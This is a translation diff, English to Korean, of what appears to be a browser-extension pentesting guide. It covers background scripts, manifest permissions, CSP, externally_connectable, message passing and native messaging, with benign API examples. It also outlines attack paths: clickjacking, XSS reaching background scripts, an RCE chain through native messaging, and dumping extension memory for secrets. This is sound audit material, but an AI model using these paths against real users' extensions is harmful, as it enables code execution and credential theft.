scripts are received by the **background page**, which serves a central role in coordinating the extension's components. Notably, the background page persists across the extension's lifetime, operating discreetly without direct user interaction. It possesses its own Document Object Model (DOM), enabling complex interactions and state management. +콘텐츠 스크립트가 전송한 메시지는 **background page**에 의해 수신되며, 이는 확장 구성 요소를 조정하는 중앙 역할을 합니다. 특히, background page는 확장의 수명 동안 지속되며, 사용자와의 직접적인 상호작용 없이 조용히 작동합니다. 자체 Document Object Model (DOM)을 가지고 있어 복잡한 상호작용 및 상태 관리를 가능하게 합니다. -**Key Points**: +**주요 사항**: -- **Background Page Role:** Acts as the nerve center for the extension, ensuring communication and coordination among various parts of the extension. -- **Persistence:** It's an ever-present entity, invisible to the user but integral to the extension's functionality. -- **Automatic Generation:** If not explicitly defined, the browser will automatically create a background page. This auto-generated page will include all the background scripts specified in the extension's manifest, ensuring the seamless operation of the extension's background tasks. +- **Background Page 역할:** 확장의 신경 센터 역할을 하여 확장의 다양한 부분 간의 통신 및 조정을 보장합니다. +- **지속성:** 사용자에게는 보이지 않지만 확장의 기능에 필수적인 항상 존재하는 개체입니다. +- **자동 생성:** 명시적으로 정의되지 않은 경우, 브라우저는 자동으로 background page를 생성합니다. 이 자동 생성된 페이지는 확장 매니페스트에 지정된 모든 background 스크립트를 포함하여 확장의 백그라운드 작업이 원활하게 작동하도록 보장합니다. > [!TIP] -> The convenience provided by the browser in automatically generating a background page (when not explicitly declared) ensures that all necessary background scripts are integrated and operational, streamlining the extension's setup process. +> 명시적으로 선언되지 않은 경우 브라우저가 background page를 자동으로 생성하는 편리함은 모든 필요한 background 스크립트가 통합되고 작동하도록 보장하여 확장의 설정 프로세스를 간소화합니다. Example background script: - ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { - if (request == "explain") { - chrome.tabs.create({ url: "https://example.net/explanation" }) - } +if (request == "explain") { +chrome.tabs.create({ url: "https://example.net/explanation" }) +} }) ``` +메시지를 수신하기 위해 [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)를 사용합니다. `"explain"` 메시지를 수신하면 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)를 사용하여 새 탭에서 페이지를 엽니다. -It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab. - -To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script: +백그라운드 스크립트를 디버깅하려면 **확장 세부정보로 이동하여 서비스 워커를 검사**할 수 있으며, 이렇게 하면 백그라운드 스크립트와 함께 개발자 도구가 열립니다:
-### Options pages and other +### 옵션 페이지 및 기타 -Browser extensions can contain various kinds of pages: +브라우저 확장 프로그램은 다양한 종류의 페이지를 포함할 수 있습니다: -- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked. -- Pages that the extension will **load in a new tab**. -- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking: +- **작업 페이지**는 **확장 아이콘**을 클릭할 때 드롭다운에 표시됩니다. +- 확장이 **새 탭에서 로드할** 페이지. +- **옵션 페이지**: 이 페이지는 클릭할 때 확장 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 다음을 클릭하여 접근할 수 있었습니다:
-Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page: +이 페이지는 필요에 따라 동적으로 콘텐츠를 로드하므로 백그라운드 페이지처럼 지속적이지 않다는 점에 유의하십시오. 그럼에도 불구하고 이들은 백그라운드 페이지와 특정 기능을 공유합니다: -- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension. -- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension. +- **콘텐츠 스크립트와의 통신:** 백그라운드 페이지와 유사하게, 이 페이지는 콘텐츠 스크립트로부터 메시지를 수신할 수 있어 확장 내 상호작용을 촉진합니다. +- **확장 전용 API에 대한 접근:** 이 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다. ### `permissions` & `host_permissions` -**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**. +**`permissions`** 및 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 이를 사용할 수 있는지를 나타냅니다. -As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**. +브라우저 확장이 매우 **특권적**일 수 있으므로, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**. -Check how these settings work and how they could get abused in: +이 설정이 어떻게 작동하는지 및 어떻게 남용될 수 있는지 확인하십시오: {{#ref}} browext-permissions-and-host_permissions.md @@ -282,15 +262,13 @@ browext-permissions-and-host_permissions.md ### `content_security_policy` -A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**. - -The default setting for browser extension pages is rather restrictive: +**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, 이는 **취약할 수 있습니다**. +브라우저 확장 페이지의 기본 설정은 다소 제한적입니다: ```bash script-src 'self'; object-src 'self'; ``` - -For more info about CSP and potential bypasses check: +CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요: {{#ref}} ../content-security-policy-csp-bypass/ @@ -298,203 +276,189 @@ For more info about CSP and potential bypasses check: ### `web_accessible_resources` -in order for a webpage to access a page of a Browser Extension, a `.html` page for example, this page needs to be mentioned in the **`web_accessible_resources`** field of the `manifest.json`.\ -For example: - +웹 페이지가 브라우저 확장의 페이지에 접근하기 위해서는, 예를 들어 `.html` 페이지, 이 페이지는 `manifest.json`의 **`web_accessible_resources`** 필드에 언급되어야 합니다.\ +예를 들어: ```javascript { - ... - "web_accessible_resources": [ - { - "resources": [ "images/*.png" ], - "matches": [ "https://example.com/*" ] - }, - { - "resources": [ "fonts/*.woff" ], - "matches": [ "https://example.com/*" ] - } - ], - ... +... +"web_accessible_resources": [ +{ +"resources": [ "images/*.png" ], +"matches": [ "https://example.com/*" ] +}, +{ +"resources": [ "fonts/*.woff" ], +"matches": [ "https://example.com/*" ] +} +], +... } ``` - -These pages are accesible in URL like: - +이 페이지는 다음과 같은 URL에서 접근할 수 있습니다: ``` chrome-extension:///message.html ``` - -In public extensions the **extension-id is accesible**: +공개 확장 프로그램에서는 **extension-id에 접근할 수 있습니다**:
-Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**. +하지만, `manifest.json` 매개변수 **`use_dynamic_url`**이 사용되면, 이 **id는 동적일 수 있습니다**. > [!TIP] -> Note that even if a page is mentioned here, it might be **protected against ClickJacking** thanks to the **Content Security Policy**. So you also need to check it (frame-ancestors section) before confirming a ClickJacking attack is possible. +> 여기에서 페이지가 언급되더라도, **Content Security Policy** 덕분에 **ClickJacking**에 대해 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 이를 (frame-ancestors 섹션) 확인해야 합니다. -Being allowed to access these pages make these pages **potentially vulnerable ClickJacking**: +이 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**: {{#ref}} browext-clickjacking.md {{#endref}} > [!TIP] -> Allowing these pages to be loaded only by the extension and not by random URLs could prevent ClickJacking attacks. +> 이러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 허용하면 ClickJacking 공격을 방지할 수 있습니다. > [!CAUTION] -> Note that the pages from **`web_accessible_resources`** and other pages of the extension are also capable of **contacting background scripts**. So if one of these pages is vulnerable to **XSS** it could open a bigger vulnerability. +> **`web_accessible_resources`**의 페이지와 확장 프로그램의 다른 페이지도 **백그라운드 스크립트와 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다. > -> Moreover, note that you can only open pages indicated in **`web_accessible_resources`** inside iframes, but from a new tab it's possible to access any page in the extension knowing the extension ID. Therefore, if an XSS is found abusing same parameters, it could be abused even if the page isn't configured in **`web_accessible_resources`**. +> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 프로그램 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다. ### `externally_connectable` -A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). - -- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**. -- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect. -- If **matches** are specified, those web apps will be able to connect: +[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다. +- **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만 웹 페이지는 연결할 수 없습니다**. +- **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`와 같이, **오직 해당 애플리케이션만** 연결할 수 있습니다. +- **matches**가 지정된 경우, 해당 웹 앱은 연결할 수 있습니다: ```json "matches": [ -      "https://*.google.com/*", -      "*://*.chromium.org/*", +"https://*.google.com/*", +"*://*.chromium.org/*", ``` +- 비어 있는 것으로 지정된 경우: **`"externally_connectable": {}`**, 어떤 앱이나 웹도 연결할 수 없습니다. -- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect. - -The **less extensions and URLs** indicated here, the **smaller the attack surface** will be. +여기에서 **확장 프로그램과 URL**이 적을수록, **공격 표면**이 더 작아집니다. > [!CAUTION] -> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP. +> 만약 **`externally_connectable`**에 **XSS 또는 탈취에 취약한** 웹 페이지가 표시되면, 공격자는 **배경 스크립트에 직접 메시지를 보낼 수** 있어, Content Script와 그 CSP를 완전히 우회할 수 있습니다. > -> Therefore, this is a **very powerful bypass**. +> 따라서, 이는 **매우 강력한 우회**입니다. > -> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> 게다가, 클라이언트가 악성 확장 프로그램을 설치하면, 취약한 확장 프로그램과 통신할 수 없더라도, **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다. -## Communication summary +## 통신 요약 -### Extension <--> WebApp +### 확장 프로그램 <--> 웹앱 -To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script. +콘텐츠 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하게 할 수도 있습니다. -### Inside the extension +### 확장 프로그램 내부 -Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**. +일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(일반적으로 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다. -It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example: +단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수도 있으며, 다음 예제와 같이 **메시지를 보내고** **받는** 데 사용할 수 있습니다:
-chrome.runtime.connect() example - +chrome.runtime.connect() 예제 ```javascript var port = chrome.runtime.connect() // Listen for messages from the web page window.addEventListener( - "message", - (event) => { - // Only accept messages from the same window - if (event.source !== window) { - return - } +"message", +(event) => { +// Only accept messages from the same window +if (event.source !== window) { +return +} - // Check if the message type is "FROM_PAGE" - if (event.data.type && event.data.type === "FROM_PAGE") { - console.log("Content script received: " + event.data.text) - // Forward the message to the background script - port.postMessage({ type: "FROM_PAGE", text: event.data.text }) - } - }, - false +// Check if the message type is "FROM_PAGE" +if (event.data.type && event.data.type === "FROM_PAGE") { +console.log("Content script received: " + event.data.text) +// Forward the message to the background script +port.postMessage({ type: "FROM_PAGE", text: event.data.text }) +} +}, +false ) // Listen for messages from the background script port.onMessage.addListener(function (msg) { - console.log("Content script received message from background script:", msg) - // Handle the response message from the background script +console.log("Content script received message from background script:", msg) +// Handle the response message from the background script }) ``` -
-It's also possible to send messages from a background script to a content script located in a specific tab calling **`chrome.tabs.sendMessage`** where you will need to indicated the **ID of the tab** to send the message to. +특정 탭에 위치한 콘텐츠 스크립트로 메시지를 보내는 것도 가능합니다. **`chrome.tabs.sendMessage`**를 호출하여 메시지를 보낼 **탭의 ID**를 지정해야 합니다. -### From allowed `externally_connectable` to the extension - -**Web apps and external browser extensions allowed** in the `externally_connectable` configuration can send requests using : +### 허용된 `externally_connectable`에서 확장으로 +`externally_connectable` 구성에서 허용된 **웹 앱 및 외부 브라우저 확장**은 다음을 사용하여 요청을 보낼 수 있습니다: ```javascript chrome.runtime.sendMessage(extensionId, ... ``` +**확장 ID**를 언급해야 하는 곳입니다. -Where it's needed to mention the **extension ID**. - -### Native Messaging - -It's possible for the background scripts to communicate with binaries inside the system, which might be **prone to critical vulnerabilities such as RCEs** if this communication is not properly secured. [More on this later](./#native-messaging). +### 네이티브 메시징 +백그라운드 스크립트가 시스템 내의 바이너리와 통신할 수 있으며, 이 통신이 적절하게 보호되지 않으면 **RCE와 같은 치명적인 취약점에 노출될 수 있습니다**. [자세한 내용은 나중에](./#native-messaging) 확인하세요. ```javascript chrome.runtime.sendNativeMessage( - "com.my_company.my_application", - { text: "Hello" }, - function (response) { - console.log("Received " + response) - } +"com.my_company.my_application", +{ text: "Hello" }, +function (response) { +console.log("Received " + response) +} ) ``` +## 웹 **↔︎** 콘텐츠 스크립트 통신 -## Web **↔︎** Content Script Communication - -The environments where **content scripts** operate and where the host pages exist are **separated** from one another, ensuring **isolation**. Despite this isolation, both have the ability to interact with the page's **Document Object Model (DOM)**, a shared resource. For the host page to engage in communication with the **content script**, or indirectly with the extension through the content script, it is required to utilize the **DOM** that is accessible by both parties as the communication channel. - -### Post Messages +**콘텐츠 스크립트**가 작동하는 환경과 호스트 페이지가 존재하는 환경은 **분리**되어 있어 **격리**를 보장합니다. 이러한 격리에도 불구하고, 두 환경 모두 페이지의 **문서 객체 모델(DOM)**과 상호작용할 수 있는 능력을 가지고 있는 공유 자원입니다. 호스트 페이지가 **콘텐츠 스크립트**와 통신하거나 콘텐츠 스크립트를 통해 확장과 간접적으로 통신하기 위해서는, 두 당사자가 접근할 수 있는 **DOM**을 통신 채널로 활용해야 합니다. +### 포스트 메시지 ```javascript:content-script.js // This is like "chrome.runtime.sendMessage" but to maintain the connection var port = chrome.runtime.connect() window.addEventListener( - "message", - (event) => { - // We only accept messages from ourselves - if (event.source !== window) { - return - } +"message", +(event) => { +// We only accept messages from ourselves +if (event.source !== window) { +return +} - if (event.data.type && event.data.type === "FROM_PAGE") { - console.log("Content script received: " + event.data.text) - // Forward the message to the background script - port.postMessage(event.data.text) - } - }, - false +if (event.data.type && event.data.type === "FROM_PAGE") { +console.log("Content script received: " + event.data.text) +// Forward the message to the background script +port.postMessage(event.data.text) +} +}, +false ) ``` ```javascript:example.js document.getElementById("theButton").addEventListener( - "click", - () => { - window.postMessage( - { type: "FROM_PAGE", text: "Hello from the webpage!" }, - "*" - ) - }, - false +"click", +() => { +window.postMessage( +{ type: "FROM_PAGE", text: "Hello from the webpage!" }, +"*" +) +}, +false ) ``` +안전한 Post Message 통신은 수신된 메시지의 진위를 확인해야 하며, 이는 다음을 확인하여 수행할 수 있습니다: -A secure Post Message communication should check the authenticity of the received message, this can be done checking: +- **`event.isTrusted`**: 이 값은 이벤트가 사용자 행동에 의해 트리거된 경우에만 True입니다. +- 콘텐츠 스크립트는 사용자가 어떤 행동을 수행할 때만 메시지를 기대할 수 있습니다. +- **origin domain**: 메시지를 기대할 수 있는 도메인의 허용 목록만 있을 수 있습니다. +- 정규 표현식을 사용하는 경우, 매우 주의해야 합니다. +- **Source**: `received_message.source !== window`를 사용하여 메시지가 **콘텐츠 스크립트가 수신 대기 중인 동일한 창**에서 온 것인지 확인할 수 있습니다. -- **`event.isTrusted`**: This is True only if the event was triggered by a users action - - The content script might expecting a message only if the user performs some action -- **origin domain**: might expecting a message only allowlist of domains. - - If a regex is used, be very careful -- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening. - -The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**: +이전의 확인 사항은 수행되었더라도 취약할 수 있으므로, 다음 페이지에서 **잠재적인 Post Message 우회**를 확인하십시오: {{#ref}} ../postmessage-vulnerabilities/ @@ -502,7 +466,7 @@ The previous checks, even if performed, could be vulnerable, so check in the fol ### Iframe -Another possible way of communication might be through **Iframe URLs**, you can find an example in: +또 다른 가능한 통신 방법은 **Iframe URLs**를 통해 이루어질 수 있으며, 예시는 다음에서 찾을 수 있습니다: {{#ref}} browext-xss-example.md @@ -510,240 +474,226 @@ browext-xss-example.md ### DOM -This isn't "exactly" a communication way, but the **web and the content script will have access to the web DOM**. So, if the **content script** is reading some information from it, **trusting the web DOM**, the web could **modify this dat**a (because the web shouldn't be trusted, or because the web is vulnerable to XSS) and **compromise the Content Script**. +이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**. -You can also find an example of a **DOM based XSS to compromise a browser extension** in: +**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시**를 다음에서 찾을 수 있습니다: {{#ref}} browext-xss-example.md {{#endref}} -## Content Script **↔︎** Background Script Communication +## 콘텐츠 스크립트 **↔︎** 백그라운드 스크립트 통신 -A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message. +콘텐츠 스크립트는 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **또는** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 함수를 사용하여 **일회성 JSON 직렬화 가능** 메시지를 보낼 수 있습니다. -To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument. - -Sending a request from a **content script** looks like this: +**응답**을 처리하려면 반환된 **Promise**를 사용하십시오. 그러나 이전 호환성을 위해 마지막 인수로 **콜백**을 여전히 전달할 수 있습니다. +**콘텐츠 스크립트**에서 요청을 보내는 모습은 다음과 같습니다: ```javascript ;(async () => { - const response = await chrome.runtime.sendMessage({ greeting: "hello" }) - // do something with response here, not outside the function - console.log(response) +const response = await chrome.runtime.sendMessage({ greeting: "hello" }) +// do something with response here, not outside the function +console.log(response) })() ``` - -Sending a request from the **extension** (usually a **background script**). Example of how to send message to the content script in the selected tab: - +**확장**에서 요청 보내기 (보통 **백그라운드 스크립트**). 선택한 탭의 콘텐츠 스크립트에 메시지를 보내는 방법의 예: ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script ;(async () => { - const [tab] = await chrome.tabs.query({ - active: true, - lastFocusedWindow: true, - }) - const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) - // do something with response here, not outside the function - console.log(response) +const [tab] = await chrome.tabs.query({ +active: true, +lastFocusedWindow: true, +}) +const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) +// do something with response here, not outside the function +console.log(response) })() ``` - -On the **receiving end**, you need to set up an [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** to handle the message. This looks the same from a content script or extension page. - +**수신 측**에서는 메시지를 처리하기 위해 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **이벤트 리스너**를 설정해야 합니다. 이는 콘텐츠 스크립트나 확장 페이지에서 동일하게 보입니다. ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { - console.log( - sender.tab - ? "from a content script:" + sender.tab.url - : "from the extension" - ) - if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) +console.log( +sender.tab +? "from a content script:" + sender.tab.url +: "from the extension" +) +if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) }) ``` +예제에서 강조된 바와 같이, **`sendResponse()`**는 동기 방식으로 실행되었습니다. `sendResponse()`의 비동기 실행을 위해 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 포함하는 것이 필수적입니다. -In the example highlighted, **`sendResponse()`** was executed in a synchronous fashion. To modify the `onMessage` event handler for asynchronous execution of `sendResponse()`, it's imperative to incorporate `return true;`. +중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서, **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다. -An important consideration is that in scenarios where multiple pages are set to receive `onMessage` events, **the first page to execute `sendResponse()`** for a specific event will be the only one able to deliver the response effectively. Any subsequent responses to the same event will not be taken into account. - -When crafting new extensions, the preference should be towards promises as opposed to callbacks. Concerning the use of callbacks, the `sendResponse()` function is considered valid only if it's executed directly within the synchronous context, or if the event handler indicates an asynchronous operation by returning `true`. Should none of the handlers return `true` or if the `sendResponse()` function is removed from memory (garbage-collected), the callback associated with the `sendMessage()` function will be triggered by default. +새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 핸들러 중 어느 것도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다. ## Native Messaging -Browser extensions also allow to communicate with **binaries in the system via stdin**. The application must install a json indicating so in a json like: - +브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수** 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 합니다. ```json { - "name": "com.my_company.my_application", - "description": "My Application", - "path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe", - "type": "stdio", - "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] +"name": "com.my_company.my_application", +"description": "My Application", +"path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe", +"type": "stdio", +"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` +`name`은 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열로, 브라우저 확장의 백그라운드 스크립트에서 애플리케이션과 통신하는 데 사용됩니다. `path`는 바이너리의 경로이며, 유효한 `type`은 stdio(표준 입력 및 표준 출력 사용) 하나뿐이며, `allowed_origins`는 접근할 수 있는 확장을 나타냅니다(와일드카드를 사용할 수 없음). -Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard). - -Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). +Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux의 일부 경로에서 검색합니다(자세한 정보는 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)에서 확인할 수 있습니다). > [!TIP] -> The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication. - -This is how it looks like some background script code sending messages to a native application: +> 브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한이 선언되어야 합니다. +다음은 네이티브 애플리케이션에 메시지를 보내는 일부 백그라운드 스크립트 코드의 모습입니다: ```javascript chrome.runtime.sendNativeMessage( - "com.my_company.my_application", - { text: "Hello" }, - function (response) { - console.log("Received " + response) - } +"com.my_company.my_application", +{ text: "Hello" }, +function (response) { +console.log("Received " + response) +} ) ``` +[**이 블로그 게시물**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)에서는 네이티브 메시지를 악용하는 취약한 패턴이 제안됩니다: -In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), a vulnerable pattern abusing native messages is proposed: +1. 브라우저 확장 프로그램은 콘텐츠 스크립트에 대한 와일드카드 패턴을 가지고 있습니다. +2. 콘텐츠 스크립트는 `sendMessage`를 사용하여 백그라운드 스크립트에 `postMessage` 메시지를 전달합니다. +3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다. +4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다. -1. Browser extension has a wildcard pattern for content script. -2. Content script passes `postMessage` messages to the background script using `sendMessage`. -3. Background script passes the message to native application using `sendNativeMessage`. -4. Native application handles the message dangerously, leading to code execution. +그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 방법에 대한 예제가 설명됩니다**. -And inside of it an example of **going from any page to RCE abusing a browser extension is explained**. +## 메모리/코드/클립보드의 민감한 정보 -## Sensitive Information in Memory/Code/Clipboard +브라우저 확장 프로그램이 **민감한 정보를 메모리 안에 저장**하는 경우, 이는 **덤프**될 수 있으며(특히 Windows 기기에서) 이 정보를 **검색**할 수 있습니다. -If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information. +따라서 브라우저 확장 프로그램의 메모리는 **안전하다고 간주되어서는 안 되며**, 자격 증명이나 니모닉 구문과 같은 **민감한 정보는 저장되어서는 안 됩니다**. -Therefore, the memory of the Browser Extension **shouldn't be considered secure** and **sensitive information** such as credentials or mnemonic phrases **shouldn't be stored**. +물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 그것은 **공개**될 것이기 때문입니다. -Of course, do **not put sensitive information in the code**, as it will be **public**. +브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`**을 클릭한 후 **`Memory`** 섹션에서 